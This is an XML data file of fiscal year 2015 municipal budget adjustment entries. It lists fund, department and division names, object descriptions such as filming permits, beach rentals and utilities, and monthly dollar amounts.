<row _id="16746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15000.0</total></row>
<row _id="16747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-52000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-52000.0</total></row>
<row _id="16748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-84000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-84000.0</total></row>
<row _id="16749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10216.0</total></row>
<row _id="16750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="16751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5667.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5667.0</total></row>
<row _id="16752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402240.0</object><object_description>AIRPORT - EVENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-64134.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-64134.0</total></row>
<row _id="16753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-148968.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-148968.0</total></row>
<row _id="16754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3542.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3542.0</total></row>
<row _id="16755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>440.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>440.0</total></row>
<row _id="16756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>466648.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>466648.0</total></row>
<row _id="16757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400613.0</object><object_description>NEWSRACK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-20500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20500.0</total></row>
<row _id="16758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6287.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6287.0</total></row>
<row _id="16759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10480.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10480.0</total></row>
<row _id="16760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3102.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3102.0</total></row>
<row _id="16762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404690.0</object><object_description>415 PCH - PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-460000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-460000.0</total></row>
<row _id="16763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>42451.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42451.0</total></row>
<row _id="16764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>40005.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40005.0</total></row>
<row _id="16765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409072.0</object><object_description>ROSIE'S GIRLS-SUMMER I</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="16767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-120000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-120000.0</total></row>
<row _id="16768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-MEASURE V FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-411308.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-411308.0</total></row>
<row _id="16769"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-STORMWATER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>411308.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>411308.0</total></row>
<row _id="16770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16771"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>450.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>450.0</total></row>
<row _id="16772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>43601.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43601.0</total></row>
<row _id="16774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2950.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2950.0</total></row>
<row _id="16775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16776"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4880.0</total></row>
<row _id="16777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>153363.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>153363.0</total></row>
<row _id="16778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11203.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11203.0</total></row>
<row _id="16779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>33238.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33238.0</total></row>
<row _id="16780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10173.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10173.0</total></row>
<row _id="16781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="16782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26200.0</total></row>
<row _id="16783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533227.0</object><object_description>BLDG/STR MAINT-PARK BLDG</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>185000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>185000.0</total></row>
<row _id="16784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="16785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>23889.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23889.0</total></row>
<row _id="16786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16279.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16279.0</total></row>
<row _id="16787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8000.0</total></row>
<row _id="16788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING-TRANS OUT TO 01 FD</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>236472.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>236472.0</total></row>
<row _id="16789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408440.0</object><object_description>AMERICARE RINGDOWN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-8300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8300.0</total></row>
<row _id="16792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-690750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-690750.0</total></row>
<row _id="16793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
